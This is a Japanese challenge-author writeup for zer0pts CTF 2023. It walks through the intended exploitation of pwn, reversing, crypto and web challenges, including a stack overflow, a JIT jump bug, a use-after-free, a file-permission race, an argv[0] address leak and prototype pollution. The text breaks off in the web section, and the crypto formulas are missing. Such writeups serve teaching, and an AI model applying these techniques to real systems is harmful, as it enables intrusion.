はじめに
この記事はzer0pts CTF 2023で私が作った問題のwriteupです。ご参加くださった皆様、ありがとうございました。
pwn
aush
問題の生い立ち
execveに渡す環境変数が壊れているとプログラムを起動できないのは、pwnerにとって悩みの種です。さっそく問題にしました。
問題概要
このプログラムはシンプルなユーザー名とパスワードの認証を実装しています。パスワードとユーザー名はいずれも /dev/urandom
から初期化されているため、予測できません。
int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) { int ret, fd; // TODO: change it to password/username file if ((fd = open("/dev/urandom", O_RDONLY)) == -1) return 1; ret = read(fd, passbuf, passlen) != passlen; ret |= read(fd, userbuf, userlen) != userlen; close(fd); return ret; }
セキュリティ機構はすべて有効です。
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
解法
脆弱性は単純で、ユーザー名とパスワードの入力にスタックバッファオーバーフローがあります。
#define LEN_USER 0x10 #define LEN_PASS 0x20 ... char inpuser[LEN_USER+1] = { 0 }; char inppass[LEN_PASS+1] = { 0 }; char username[LEN_USER] = { 0 }; char password[LEN_PASS] = { 0 }; ... /* Check username */ write(STDOUT_FILENO, "Username: ", 10); if (read(STDIN_FILENO, inpuser, 0x200) <= 0) return 1; ... /* Check password */ write(STDOUT_FILENO, "Password: ", 10); if (read(STDIN_FILENO, inppass, 0x200) <= 0) return 1;
しかし、stack canaryが有効な上、アドレスを持っていないためリターンアドレスを書き換える手法は使えません。
各バッファのスタック上での並び順を確認すると、次のように「ユーザー名」「入力ユーザー名」「パスワード」「入力パスワード」の順になっています。*1
したがって、入力ユーザー名がオーバーフローするとパスワードを書き換えられます。しかし、正規のユーザー名は書き換えられないため、ユーザー名の認証を突破できません。
バッファオーバーフロー脆弱性の他に、もう1つの問題があります。認証に失敗した際、以下のようにcowsayを使ってメッセージが表示されます。
if (memcmp(username, inpuser, LEN_USER) != 0) { args[0] = "/usr/games/cowsay"; args[1] = "Invalid username"; args[2] = NULL; execve(args[0], args, envp); }
execve
でcowsayを呼び出しているため、認証に失敗するとプロセスはcowsayに生まれ変わって終了します。しかし、 execve
が何かしらの理由で失敗すると、認証が成功したパスに合流してしまいます。では、 execve
をどのように失敗させられるでしょうか。
execve
の第3引数として envp
が渡されています。環境変数配列はスタックの高いアドレスに位置するため、スタックバッファオーバーフローで破壊できます。ただし、単純に envp
を破壊したままだとシェルを起動する execve
も失敗してしまうため、適宜直す必要があります。
したがって、次の手順でユーザー名とパスワードの両方の認証を突破できます。
私は環境変数のポインタの下位2,3バイトを破壊することで制御しました。別解として、2で envp
をNULLにしてもシェルの execve
は動作します。
qjail
問題の生い立ち
Qilingは便利ですが、仕様上嫌いな点も多いので、参加者にpwnしてもらうことにしました。
問題概要
プログラムは以下のように非常にシンプルなバッファオーバーフロー脆弱性があるだけです。
#include <stdio.h> int main() { char name[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); puts("Enter something"); scanf("%s", name); return 0; }
しかし、セキュリティ機構はすべて有効になっています。
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
当然この状態では解けませんが、特殊な点として、この問題ではQilingを使ってプログラムを実行しています。
#!/usr/bin/env python3 import qiling import sys if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <ELF>") sys.exit(1) cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]] ql = qiling.Qiling(cmd, console=False, rootfs='.') ql.run()
フラグはQilingのrootfsにマウントされているので、Qilingから抜け出す必要はありません。
解法
脆弱性をexploitする上で障壁となるのは、ASLR, PIE, Stack Canaryの3つのセキュリティ機構です。それぞれを実験で確認してみましょう。
次のようにアドレスとスタックの内容をダンプするプログラムをコンパイルして、Qilingで実行します。
int main(int argc, char **argv) { unsigned long buf[2]; printf("main=%p / system=%p\n", main, system); for (int i = 0; i < 8; i++) printf("+%02xh: %016lx\n", i*8, buf[i]); return 0; }
import qiling cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', "./a.out"] ql = qiling.Qiling(cmd, console=False, rootfs='.') ql.run()
すると、何度実行しても結果は変わりません。
$ python test.py main=0x7fffb7dd7169 / system=0x7fffb7e2d290 +00h: 0000000000000000 +08h: 00007fffb7dd7080 +10h: 000080000000de38 +18h: 6161616161616100 +20h: 0000000000000000 +28h: 00007fffb7dff083 +30h: 00007fffb7fc37a0 +38h: 000080000000de40
この結果から、QilingではシステムのASLRがエミュレートされていないことがわかります*2。
さらに、Stack Canaryの部分を見ると、 0x6161616161616100
になっています。この値は固定で、Stack Canaryも無効に等しいです。
したがって、canaryを回避してROPすれば任意コード実行に持ち込めます。
BrainJIT
問題の生い立ち
なんとなくBrainfuckのJITを書いたところ、問題になりました。当初はテープ用の領域が実行不可能でしたが、諸事情で実行可能にして少し簡単にしました。
問題概要
Python製のプログラムで、BrainfuckのJITを実装しています。
$ ./app.py Brainf*ck code: +[------->++<]>.---------.++++++.++++.>++++++++++. neko
JITは単純に、登場した命令を機械語に置き換えています。ただし、ポインタの移動操作や値の変更操作が連続した場合、1つの操作に圧縮されます。
解法
バグは単純で、ループの開始と終了に不整合があるときに出力される機械語に誤りがあります。
... elif insn == '[': # mov al, byte ptr [rbp+rbx] # test al, al # jz ??? (address will be fixed later) emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit)) elif insn == ']': if len(jumps) == 0: raise SyntaxError(f"Unmatching loop ']' at position {index}") # mov al, byte ptr [rbp+rbx] # test al, al # jnz dest dest = jumps.pop() emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x85' + p32(dest - self._code_len - len(emit) - 6) self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest) else: raise SyntaxError(f"Unexpected instruction '{insn}' at position {index}") self._emit(emit) index += length self._emit(emit_leave)
ループの開始を検出した場合、スタックにその命令の場所を積みます。そして、ループの終了を見つけたらスタックから始点の命令の場所をポップし、その箇所のジャンプ先を修正します。この際スタックが空であったら、つまり [
より ]
の方が多かった場合、"Unmatching loop"として例外が投げられます。
一方で、 ]
より [
の方が多かった場合、つまりコンパイル終了時にスタックが空でなかった場合のチェックはありません。この場合、どのような挙動になるでしょうか。
[
は次のコードでJITコンパイルされます。
# mov al, byte ptr [rbp+rbx] # test al, al # jz ??? (address will be fixed later) emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit))
ループの始点の段階ではどこにジャンプするべきかわからないため、仮のアドレスとして"-1"がジャンプ先に入っています。つまり、ループの始点と終点の個数が一致しない場合、この"-1"が残ったままになります。
分岐命令は次の命令からジャンプ先までのオフセットを取るため、"-1"はジャンプ命令の機械語の途中にジャンプします。具体的には、jz 0xffffffff
の途中に飛ぶため、ジャンプ先は0xffから始まる命令として認識されます。では、Brainfuckの他の命令で生成される機械語の先頭に0xffを付けたとき、悪用できる命令はあるでしょうか。
ある程度は値を操作したいので、圧縮可能な命令 <
, >
, +
, -
を0xffに付加して逆アセンブルしてみましょう。すると、 <
が次のように評価されます。(例として連続する命令数は0x41414141にしています。)
>>> disassemble("\xff" + "\x49\x81\xe8AAAA\x49\x81\xf8\x00\x80\x00\x00\x72\x01\xcc") [(0, 'dec DWORD PTR [rcx-0x7f]'), (3, 'call 0x41414149'), (8, 'cmp r8,0x8000'), (15, 'jb 0x12'), (17, 'int3')] # dec dword [rcp-0x7f] # call 0x41414149 # ...
RCXは初期状態でアドレスではありませんが、システムコールの戻り値はRCXに代入されるため、システムコールを使う ,
や .
命令を使えばアドレスにできます。すると、RCX-0x7Fもマップされているアドレスを指しているので、最初のdec命令はクラッシュしません。その次の命令が call
命令として解釈されるため、ある程度自由なオフセットにジャンプできることがわかります。
ここで、機械語とテープのメモリは次のコードで確保されています。
def __init__(self, insns: str): self._insns = insns self._mem = self._alloc(self.MAX_SIZE) self._code = self._alloc(self.MAX_SIZE) def _alloc(self, size: int): return mmap.mmap( -1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC )
この2つの領域は隣接し、テープのメモリも実行可能領域としてマップされているため、テープにシェルコードを用意できます。
WISE
問題の生い立ち
去年のD言語に続き、今年も謎言語の易しめpwnを作ることにしました。いつもpwnで謎言語を出しているのは、非日常的な状況(glibc heap exploitが役に立たない等)でのpwn力を試したいからです。ブラウザのようなソフトウェアでも良いのですが、複雑になってしまうのと、事前知識でほぼ決着がつくので謎言語で代用しています。謎言語一覧を調査し、メモリ安全でないものを適当にピックアップしました。
この問題を作った頃「Spy x Family」を読んでいたので問題内容やタイトル、問題文は漫画から来ています。
問題概要
まず問題ファイルを確認すると、 .cr
という気味の悪い拡張子があります。はい、謎言語製プログラムです。
今年の犠牲者となった言語はCrystalです。プログラムには次の機能があります。
- 住民情報を追加する。
- 住民情報を編集する。
- 住民情報一覧を表示する。
- 住民をスパイとしてマークする。
- スパイとしてマークされている住民のIDを変更する。
- スパイとしてマークされている住民の情報を表示する。
1〜3は、いわゆる「note問」のcreate, edit, showに該当します。4〜6が今回の問題で重要な部分になります。
解説
Crystalは私も使ったことがなかったのですが、文法はRubyに似ているらしいです。Crystalは一応メモリ安全な設計になっているのですが、やばい操作をしたいときは unsafe
という名前の追加関数も用意されています。実際、今回の問題でも以下の箇所でunsafeが使われています。
when 4 print "ID of suspect: " STDOUT.flush index = id_list.index gets.not_nil!.chomp.to_u64 if index.nil? puts "[-] Invalid ID" else puts "[+] Marked '#{name_list[index]}' as possible spy" suspect = id_list.to_unsafe + index end
通常、住民をスパイとしてマークしてからその住民を削除しても、CrystalはGCを使っているためUse-after-Freeは起きません。 しかし、今回のコードでは、住民をスパイとしてマークする際に
suspect = id_list.to_unsafe + index
という書き方をしています。これは配列中のポインタのみを保存するため、変数 suspect
にはアドレスへの参照のみが残ります。
削除という機能はありませんが、住民を追加して配列が大きくなると、いずれ再確保が発生して別の領域にデータが移ります。すると、 suspect
には元あったデータへのポインタのみが残り、Use-after-Freeが起きます。
スパイにIDをつける機能で64-bitの値を変更できます。これで何ができるでしょうか。
適当に住民を追加してメモリを確認します。
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x00007ffff7cbef00 0x0000000000000000 0x7ffff7cbef30: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef40: 0x00007ffff7cbef20 0x0000000000000000 0x7ffff7cbef50: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x2bdaea1070d83563 0x5ce5ae78158f5e35 <-- id_list 0x7ffff7cbef90: 0x0000000000000000 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
明らかに連結リストでfreeされている領域を管理しているような見た目をしています。また、整数や文字列は非常にシンプルな構造なので、exploit上の懸念も少なそうです。
今、例えば id_list
の先頭の0x7ffff7cbef80を suspect
に代入できます。この状態でIDを増やすと、次のように再確保が発生して id_list
はfreeされます。
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x0000000800000001 0x4747474700000000 <-- name_list[3] 0x7ffff7cbef30: 0x0000000048484848 0x0000000000000000 0x7ffff7cbef40: 0x0000000800000001 0x4545454500000000 <-- name_list[2] 0x7ffff7cbef50: 0x0000000046464646 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x00007ffff7cbef00 0x5ce5ae78158f5e35 <-- freed id_list 0x7ffff7cbef90: 0xc97703dc32b35f9c 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
ここで suspect
のIDを変更してみましょう。
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x0000000800000001 0x4747474700000000 <-- name_list[3] 0x7ffff7cbef30: 0x0000000048484848 0x0000000000000000 0x7ffff7cbef40: 0x0000000800000001 0x4545454500000000 <-- name_list[2] 0x7ffff7cbef50: 0x0000000046464646 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x00000000deadbeef 0x353337330000000a <-- freed id_list 0x7ffff7cbef90: 0xc900393535383239 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
解放済み領域のリストのポインタを破壊できました。さらに確保を発生させると、壊れたリンクを辿ってクラッシュします。
上記はリストの書き換えですが、IDの確認もできるためヒープアドレスのリークもできます。 id_list
や name_list
の変数そのものもヒープにあるため、それらのアドレスを計算できます。リンクをこれらの変数に向けることで、 name_list
や id_list
を書き換えることができます。
これにより、AAR/AAW primitiveが作れるため、 environ
からスタックのアドレスをリークしてROPに持ち込めます。
sharr
問題の生い立ち
open
関数って可変長引数だよな... :thinking_face: これでpwn作れるのでは?と思い問題にしました。
問題概要
この問題は先程と同様に"note問"です。 プロセス間通信を使ってインタフェースとnoteを管理するプロセスに分かれています。しかし、特にサンドボックスがあるわけではありません。また、この問題はncで繋ぐとプログラムが起動するのではなく、シェルが渡されています。つまり、RCE(リモートコード実行)ではなくLPE(権限昇格)が目的です。
インタフェース側はコマンドを受け取り、プロセス間通信で親プロセスにコマンドを転送します。共有メモリとして、通常ファイル経由でコマンドを送っている点が特殊です。
void io_set(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); write(mapfd, data, size); } void io_get(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); read(mapfd, data, size); } DEFINE_SETTER_CONST(int, command); DEFINE_GETTER(int, command); DEFINE_SETTER(ssize_t, index); DEFINE_GETTER(ssize_t, index); DEFINE_SETTER(size_t, value); DEFINE_GETTER(size_t, value);
解法
気付きづらいかもしれませんが、脆弱性は共有ファイルを作る最初のコードにあります。
/* Create filename */ snprintf(mapname, sizeof(mapname), "/tmp/.shm-%08x", rand()); ... /* Create shared memory */ if ((mapfd = open(mapname, O_RDWR|O_CREAT|O_EXCL)) == -1) fatal(mapname); fchmod(mapfd, 0600); ftruncate(mapfd, sizeof(ArrayIO)); signal(SIGINT, interrupt_handler); io_set_command(CMD_WAIT);
まず、共有ファイルのファイル名は rand
に依存しているため、予測できます。これで作られたランダムな名前のファイル名を使って、 open
関数でファイルを作っています。そして、管理者以外にファイルが開けないように権限を0600にしています。
では、 open
関数でファイルが生成されてから chmod
で権限が変更されるまでの間は権限の設定はどうなっているのでしょうか?
普段使っていてもあまり実感が湧きませんが、 open
関数は可変長引数の関数です。そのため、C言語で open
関数に大量の引数を渡してもgccはコンパイルしてくれます。なぜかというと、 open
システムコールが mode
という引数を取ることがあるからです。 open
システムコールはファイルを開くことも作成することもできます。作成するときは当然権限を指定したいので、そのときに mode
引数が使われます。
配布したC言語のコードでは2引数しか渡していませんが、システムコールレベルで呼ばれた際には隠れた第3引数を使おうとします。つまり、それまでに初期化されていないRDXレジスタの内容を使ってしまいます。
open
の前に最後にRDXが変更されるのは、 atoi
関数の中です。 atoi
関数はverboseモードの値を決定するために使われ、1に設定されるとアドレスのような貴重な情報も得られます。
さて、今回のバージョンのlibcでは strtol
が変換した数値のnegがRDXレジスタに残ります。権限が0777になるためには、(0o777 ^ 0xfff)+1=3585をverboseモードの値として渡せば良いです。
しかし、実際に実験すると、この方法で権限が0777のファイルは作成されません。原因はumaskにあります。umaskはファイル作成時の権限にマスクをかける機能です。例えば、umaskが022に設定されている際に0666でファイルを作ると、実際のファイルの権限は0666 & ~022 = 0644になります。したがって、sharrのプログラムを起動する前にumaskを0に設定する必要があります。
open
から chmod
までの間に第三者から共有ファイルの open
に成功すると、インデックスやサイズのチェックがない自由な操作を親プロセスに指示できるようになります。
続いてアドレスリークの必要もあります。今、インタフェースに関係なくコマンドを送れるので、以下のコードで自由なインデクスに値を格納・あるいは読み取りできます。
case CMD_EDIT: { ssize_t idx = io_get_index(); size_t val = io_get_value(); arr[idx] = val; if (verbose == 1) dprintf(STDERR_FILENO, "[DEBUG] CMD_EDIT: %p <-- 0x%016lx\n", &arr[idx], val); break; } case CMD_SHOW: { ssize_t idx = io_get_index(); io_set_value(&arr[idx]); if (verbose == 1) dprintf(STDERR_FILENO, "[DEBUG] CMD_SHOW: %p --> 0x%016lx\n", &arr[idx], arr[idx]); break; }
ヒープ中の自由な場所のデータを読み書きできますが、freeは使われないためglibcヒープ関連のexploitはできません。マップされていないアドレスに書き込もうとすると、当然プロセス全体がクラッシュします。
ここで、 CMD_SHOW
では直接 &arr[idx]
を io_set_value
に渡していることに着目します。 io_set_value
は以下のように定義されています。
#define DEFINE_SETTER(type, name) \ void io_set_##name(type *name) { \ io_set(offsetof(ArrayIO, name), name, sizeof(type)); \ } ... void io_set(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); write(mapfd, data, size); } ... DEFINE_SETTER(size_t, value);
つまり、最終的には以下のコードが呼ばれるのと等価です。
write(mapfd, &arr[idx], sozeof(size_t));
write
はカーネル側の処理なので、 &arr[idx]
が不正なアドレスでもプロセスはクラッシュしません。
したがって、 CMD_SHOW
でインデックスを(0x1000/8)単位で負の方向に進めていき、 "\x7FELF"
を見つけるまでプログラムのベースアドレスを探索できます。
プログラムのベースアドレスがわかれば、芋づる式にlibcやスタックのアドレスがわかり、ROPに持ち込めます。
Himitsu Note
問題の生い立ち
ある日ふと思い立って main
関数のリターンアドレスの最下位バイトを0にしたところ、argv[0]リークできるパスが見つかったので問題にしました。
問題概要
またしてもnote問です。note問はたくさんありますが、どの問題もコンセプトはまったく異なる作りになっています。
以下の2つの操作+1つの処理ができます。
note_list[index] = malloc(0x800);
: スタック上の配列にmallocポインタを入れられる。ただし、確保されていないNULLの箇所のみ。getstr(note_list[index])
: 確保したアドレスにデータを自由な書き込める。- すべての配列ポインタをfreeしてプログラムを終了する。
この問題は一見簡単なのですが、アドレスリークの手法が新規性で、想定ではpwnの中で最も難しい問題として出題しました。
解説
まず、1に自明な脆弱性があります。
case 1: { unsigned int i = getint("index: "); if (!note_list[i]) { note_list[i] = (char*)malloc(NOTE_SIZE); print("[+] done\n"); } else { print("[-] error\n"); } break; }
インデックスのチェックがないため、範囲外に書き込めます。ただし、符号なしなので正の方向にしか書き込めません。 スタックを指しているポインタをeditすることで、リターンアドレスを書き換えることができます。ただし、PIEが有効なのでアドレスがわかりません。
この問題にはもう1つ脆弱性があり、それが getstr
関数です。
void getstr(const char *s, char *buf, size_t len) { print(s); for (size_t i = 0; ; i++) { char c; if (read(STDIN_FILENO, &c, 1) <= 0) _exit(1); else if (c == '\n') { buf[i] = '\0'; break; } else if (i < len) { buf[i] = c; } } }
サイズ len
を超える文字を書き込むとループ自体はまわりますが、バッファには書き込まないようになっています。しかし、最後の改行は必ずNULLバイトに変換されるので、バッファから正の方向の自由な箇所にNULLバイトを書き込める脆弱性があります。この脆弱性で何ができるでしょうか。
まず考えられるのはnoteのアドレスを破壊することです。しかし、 free
は関数終了時に一度呼ばれるだけです。 tcacheの一部領域は壊せますが、 malloc
は0x800サイズでしか呼ばれないためtcacheは使われません。
次に考えられるのは、リターンアドレスの部分的な破壊です。リターンアドレスの最下位バイトをNULLバイトで置き換えると、次の箇所にジャンプします。
pwndbg> x/16i 0x00007ffff7df2000 0x7ffff7df2000 <__libc_start_main+112>: sbb al,0x0 0x7ffff7df2002 <__libc_start_main+114>: mov rsi,QWORD PTR [rsp+0x8] 0x7ffff7df2007 <__libc_start_main+119>: mov edi,DWORD PTR [rsp+0x14] 0x7ffff7df200b <__libc_start_main+123>: mov rdx,QWORD PTR [rax] 0x7ffff7df200e <__libc_start_main+126>: call rbx
これは __libc_start_main
中の __libc_csu_init
を呼び出すコードになります。その後のコードを確認しましょう。
if (init) (*init) (argc, argv, __environ MAIN_AUXVEC_PARAM); #ifdef SHARED /* Auditing checkpoint: we have a new object. */ if (__glibc_unlikely (GLRO(dl_naudit) > 0)) { struct audit_ifaces *afct = GLRO(dl_audit); struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded; for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->preinit != NULL) afct->preinit (&link_map_audit_state (head, cnt)->cookie); afct = afct->next; } } #endif #ifdef SHARED if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS)) // [1] GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]); // [2] #endif
ここで[1]の条件に注目しましょう。 GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS
は先程のジャンプ先より少し前に計算されています。
0x7ffff7df1feb <__libc_start_main+91>: mov ebp,DWORD PTR [rdx] 0x7ffff7df1fed <__libc_start_main+93>: and ebp,0x2
RBPレジスタを使って計算しています。この機械語はジャンプ先より前に存在するため、ジャンプ後には適切な値が入りません。
ではRBPレジスタは最後にどこでセットされるかというと、 main
関数の leave
命令になります。
0x55555555546b <main+309>: leave 0x55555555546c <main+310>: ret
したがって、saved rbpに適当なヒープのアドレスを入れておけば、先程の[1]の条件を通過できます。さらに、[2]では argv[0]
をstderrに出力しています。さらに嬉しいことに、この処理が終わると main
関数が呼ばれます。したがって、アドレスリークのあとにプログラムが続行します。
int not_first_call; not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf); if (__glibc_likely (! not_first_call)) { struct pthread *self = THREAD_SELF; /* Store old info. */ unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf); unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup); /* Store the new cleanup handler info. */ THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf); /* Run the program. */ result = main (argc, argv, __environ MAIN_AUXVEC_PARAM); }
argv[0]
もスタックに存在するため、ここにヒープのアドレスを入れておけば、 dl_debug_printf
がヒープの中身を出力してくれます。このようにして、ヒープやlibcのアドレスがリークできます。
アドレスが分かったら、ROP chainを書き込んで任意コマンド実行できます。
rev
decompile me
問題の生い立ち
某所でreversingを教えていたときに、「デコンパイラは便利だけど練習のときはなるべくアセンブリを読んでね」と言いました。それと同時に、デコンパイラ依存症の人々を困らせる問題を作りたくなりました。 また、解析妨害で引数を混乱させるプログラムは過去に知っていたので、reversingをする人には一般的な知識として持っておいてほしかったという思いも強いです。
問題概要
x86-64のreversing問題です。最近はIDAやGhidraのデコンパイラにより、アセンブリを読めない人でもリバースエンジニアリングができる世界になってきました。 しかし、デコンパイラツールは代表的なコンパイラの仕様に合わせて設計されています。そのため、呼び出し規約を破ることで、簡単に難読化できます。
解説
IDAででコンパイルすると次のようなコードが生成されます。
しかし、これに基づいてRC4を復号してもフラグは得られません。ここで定義されている関数はすべてlibcの関数ではなく、独自に書かれたものです。例えば write
関数は次のように定義されています。
明らかに呼び出し規約が守られていません。本当の引数はRDI, RSI, RDXではなく、RBP, R12-R15, スタックのように、関数ごとに異なる呼び出し規約を持っています。 これに基づいてコードを読むと、RC4ではありますが、鍵や暗号文の場所がまったく違う場所に置かれていることがわかります。
mimikyu
問題の生い立ち
API HashingをLinuxで見たことがなかったので問題にしました。ただそれだけです。
問題概要
Windowsマルウェアに多く見られる難読化手法をLinuxに適用したプログラムがテーマです。具体的には、次のように主要な関数呼び出しがハッシュ値により難読化されています。*3
解説
基本的な解き方は、WindowsのAPI Hashingを解析するときと同じです。ハッシュ値から関数名を逆算するコードを書くと解析が楽です。
関数名が解明されたら、次に cap
という関数が問題になります。この関数は入力として1つの値を受け取り、glibcの hcreate
関数でハッシュテーブルを作ります。そして、失敗するまで hsearch
で要素を挿入しつづけ、挿入できた要素数を出力変数にコピーします。
つまり、 hcreate
で作ったハッシュテーブルの容量を返しています。 hcreate
関数の実装を読むと、容量は必ず素数になっていることがわかります。glibcの中に next_prime
の実装があるなんて...!
素数であることがわかると、実装は弱いRSAだと判明するので、すぐソルバが書けます。
topology
問題の生い立ち
angr問だけど、angrの機能を使いこなせないと解けない問題を出したくて作りました。
問題概要
共有メモリとfutexを使ってプロセス間通信を実装しています。親プロセスを含めて100個のプロセスが起動し、リング状のネットワークトポロジを形成します。
親プロセスは、入力フラグを8バイトごとに分割し、リングネットワークを経由してすべての子プロセスにフラグの検証を依頼します。受け取ったプロセスは検証結果を返し、親プロセスが受け取るまでネットワーク上を巡回します。親プロセスはすべての子プロセスの結果を受け取り、5個以上のプロセスが受理判定をした場合、そのフラグのブロックが正しいと判断します。
各プロセスがフラグのブロックを検証するロジックは単純ですが、99プロセスあるので自動化する必要があります。
解説
この問題は、angrのようなエミュレータやシンボリック実行を利用して解くことを想定しています。
当然プログラム全体をシンボリック実行することはできませんが、各プロセスの検証用関数すべてをエミュレートすることはできます。シンボリック実行が本質で、プログラム解析の観点では技術的に説明することは少ないので、詳細はコードを参照してください。
fvm
問題の生い立ち
Intelのレジスタ一覧を見ていたとき、stレジスタという見に覚えのないレジスタを見つけたので問題にしました。残念ながらst98レジスタはありませんでした。将来的にstレジスタが拡張されることを期待しましょう。
問題概要
独自VM問です。独自VM問は作業ゲーなので個人的にあまり出題したくないのですが、今回の問題はCPU特有の機能を使っており面白いと思ったので作りました。
独自VMといえば、必ずレジスタやRIP、メモリのような構造を確保します。しかし、今回の問題では初期化は以下の1命令だけで、CPUやメモリを構築するコードは存在しません。
void init_cpu() { __asm__("finit"); }
どのような原理で動作しているかというと、x86 CPUに搭載されているx87という機能を使っています。x87は浮動小数点演算に特化した命令セットで、特殊な点としてCPU内のスタックを介して演算をするという特徴があります。スタックは st(0)
から st(7)
までの最大8つのデータを保持でき、各データは10バイト(80-bit)の精度を持ちます。今回の問題で使われているx87命令はほとんどオペランドを取らず、例えば足し算は faddp
命令で、スタックトップの2つの値をポップして足し、結果をスタックトップに積みます。
解法
デコンパイラを書いて読むのが楽だと思います。
フラグを4バイトごと読み取り、文字コードをラジアンに変換し、サイクロイドとカージオイドに乗っけています。結果の乗算と加算をし、それぞれの値を答えと比較します。4変数に対して2つの値しか渡されませんが、値の範囲が限られているので総当りで解けます。
crypto
SquareRNG
問題の生い立ち
mitsu君がmoduhashをwarmupと提出していたのを危惧し、私がcryptoのシン・warmupの作成に取り掛かりました。そして、ある日夜寝る前に次のような問題を思いつきました。
上で定義される多項式 について、
のような数列を定義します。に対して十分に短い長さの数列の部分列が渡されたとき、次のルジャンドル記号
を求めることはできるでしょうか。
期待をせずに調べてみると、実はこのような数列にはルジャンドル記号列という名前がついていました。さらに、この問題はGLSP(Generalized Legendre Symbol Problem)と呼ばれ、一般的に困難と信じられているそうです。暗号問にならないかと考えましたが、困難な問題なので解けるはずがありませんでした。
そこで、多項式という制約を外し、さらに関数が複数ある場合を考えたところ今回の問題を思いつきました。
解説
上で次のオラクルが与えられます。ただし、は未知で、は自由に決定できます。は2つ設定でき、それぞれのオラクルが得られます。
実際にはこのオラクルが乱数の実装として使われているので、コードから上の式を理解することも必要です。さて、ここで片方のについて
を正確に求めることができるとフラグがもらえます。
ルジャンドル記号に関する重要な性質として、以下の式があります。(証明は簡単なので省略します。)
つまり、とののルジャンドル記号を知っている場合、のルジャンドル記号もわかります。また、今回知りたいは因数分解できます。
因子のルジャンドル記号を求められるでしょうか。について、とするとのとき
です。また、とすると、のとき
です。したがって、を与えたときにの際のルジャンドル記号を掛け合わせると、のときの求めたいルジャンドル記号がわかります。
web
ScoreShare
問題の生い立ち
趣味がピアノなので楽譜描画ライブラリのPrototype Pollution問を出してみたかったです。abc.jsという楽譜を描画できるJavaScript向けライブラリがあり、innerHTMLを操作するコードが多かったので問題にしてみました。 DOM Clobberingを初めて勉強したこと、CSPやiframeの挙動に疎いこと、そしてサンプル楽譜のABC譜面を作るのが大変だったことなどから、たぶん今年の作問で一番時間がかかりました。しかし、残念ながら非想定解により崩壊しました。
問題概要
ABC記法の楽譜を投稿すると、HTML上で描画してくれるサービスです。また、楽譜にタイトルを付けられるのと、関連するリンクを1つ設定できます。リンクは楽譜のページでiframe中に描画されます。
解説
単体で脆弱性にはなりませんが、iframeの描画に問題があります。以下のようにJinjaを使い、iframeのsrcとnameに、それぞれリンクとタイトルが設定されます。*4
<iframe sandbox="allow-same-origin" name="{{ title }}" src="{{ link }}"></iframe>
name
タグを自由に設定できるのが怖いです。
また、楽譜の描画設定を読み込む score.js
にPrototype Pollutionの脆弱性があります。
let synth = { el: '#audio' }; if (typeof config !== 'undefined') { for (let i = 0; i < config.synth_options.length; i++) { let option = config.synth_options[i]; if (typeof option.value === 'object') { if (synth[option.name] === undefined) synth[option.name] = {}; let param = synth[option.name]; Object.getOwnPropertyNames(option.value).forEach(key => { param[key] = option.value[key]; }); } else { synth[option.name] = option.value; } } }
ただし、 config
はAPIから来る値で、 app.py
にハードコードされています。
DEFAULT_CONFIG = { 'template': { 'title': 'Nyan Cat', 'abc': open('nyancat.abc').read(), 'link': 'https://en.wikipedia.org/wiki/Nyan_Cat' }, 'synth_options': [ {'name': 'el', 'value': '#audio'}, {'name': 'options', 'value': { 'displayPlay': True, 'displayRestart': True }} ] }
APIから設定を取ってくるコードは config.js
にあります。
